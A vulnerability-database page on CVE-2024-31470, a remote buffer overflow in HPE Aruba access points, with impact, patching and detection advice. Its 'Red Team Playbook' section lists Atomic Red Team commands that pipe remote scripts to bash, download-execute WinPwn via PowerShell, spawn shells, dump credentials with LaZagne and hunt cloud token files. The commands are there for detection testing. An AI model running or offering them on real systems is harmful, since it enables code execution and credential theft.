CVE-2024-31470
Overview
This vulnerability is a buffer overflow in the Simultaneous Authentication of Equals (SAE) service within Hewlett Packard Enterprise (HPE) AOS-8 Instant and AOS-10 Access Points. The flaw arises from improper bounds checking when processing specially crafted packets sent to the PAPI UDP port 8211, which handles Aruba's Access Point management protocol. This unchecked buffer handling in the SAE service leads to memory corruption in the affected component.
Vulnerability Description
There is a buffer overflow vulnerability in the underlying SAE (Simultaneous Authentication of Equals) service that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's Access Point management protocol) UDP port (8211). Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with privileged system rights on the targeted access point. Exploitation requires only network access to the PAPI UDP port (8211) and no user interaction or credentials. Successful attacks can lead to full system compromise, enabling control over the device, potential lateral movement within the network, and disruption of wireless infrastructure. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of remote exploitation without privileges or user involvement.
Solution
Hewlett Packard Enterprise has published an advisory (HPE Security Bulletin ID: hpesbnw04647en_us) detailing patches for affected AOS-8 Instant and AOS-10 AP versions. Users should apply the vendor-provided firmware updates as specified in the advisory to remediate the buffer overflow in the SAE service. The advisory includes instructions for verifying affected versions and deploying updates to mitigate the vulnerability. Refer to https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04647en_us for complete remediation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the underlying Simultaneous Authentication of Equals (SAE) service presents a significant risk due to a buffer overflow condition that can be exploited through specially crafted packets sent to the PAPI (Aruba's Access Point management protocol) UDP port (8211). Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, leading to adjacent memory locations being overwritten. In this case, the flaw allows an attacker to send malicious packets that can overwrite the stack or heap memory, potentially leading to the execution of arbitrary code. This execution occurs with the privileges of the underlying operating system, which can be particularly damaging if the system operates with elevated privileges.
Attack vectors for this vulnerability are primarily remote, as it can be exploited without authentication. An attacker could leverage this flaw by sending crafted packets to the vulnerable UDP port, which is typically exposed to the network. This means that any device on the same network segment or even remote attackers with access to the network can initiate an attack. Exploitation scenarios could include launching a denial-of-service attack by crashing the access point or, more critically, executing arbitrary code that could allow the attacker to gain control over the device. Once compromised, the attacker could manipulate network traffic, intercept sensitive data, or pivot to other systems within the network, escalating their access and control.
The real-world impact of this vulnerability is profound, particularly for organizations relying on affected products for their network infrastructure. The ability to execute arbitrary code as a privileged user opens the door to extensive damage, including data breaches, unauthorized access to sensitive information, and potential disruptions to business operations. For enterprises, the business risk extends beyond immediate financial loss; it includes reputational damage, regulatory penalties, and the costs associated with incident response and recovery. The high CVSS score of 9.8 indicates the critical nature of this vulnerability, emphasizing the urgency for organizations to address it promptly.
Detection of this vulnerability can be challenging, as it may not manifest obvious symptoms until exploitation occurs. Network monitoring tools can be configured to detect unusual traffic patterns or malformed packets directed at the vulnerable UDP port. Additionally, organizations should employ intrusion detection systems (IDS) that can identify and alert on known attack signatures associated with buffer overflow exploits. Regular vulnerability scanning and penetration testing can also help identify systems at risk and ensure that security measures are in place.
Mitigation strategies should focus on immediate patching of affected products, as vendors typically release updates to address such vulnerabilities. Organizations should prioritize applying these patches to all devices running the vulnerable software. In environments where immediate patching is not feasible, implementing network segmentation can help limit exposure to the vulnerable service. Firewalls should be configured to restrict access to the UDP port from untrusted networks, thereby reducing the attack surface. Additionally, employing robust security practices such as regular audits, employee training on security awareness, and incident response planning can further enhance resilience against potential exploitation of this vulnerability.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arubanetworks | Arubaos | All |
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*
|
|
|
Arubanetworks | Arubaos | All |
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*
|
|
|
Hp | Instantos | All |
cpe:2.3:o:hp:instantos:*:*:*:*:*:*:*:*
|
|
|
Hp | Instantos | All |
cpe:2.3:o:hp:instantos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-31470 |
| support.hpe.com |
GitHub CVE
|
https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04647en_us&docLocale=en_US |
| arubanetworks.com |
NVD API
Broken Link
Vendor Advisory
|
https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-006.txt |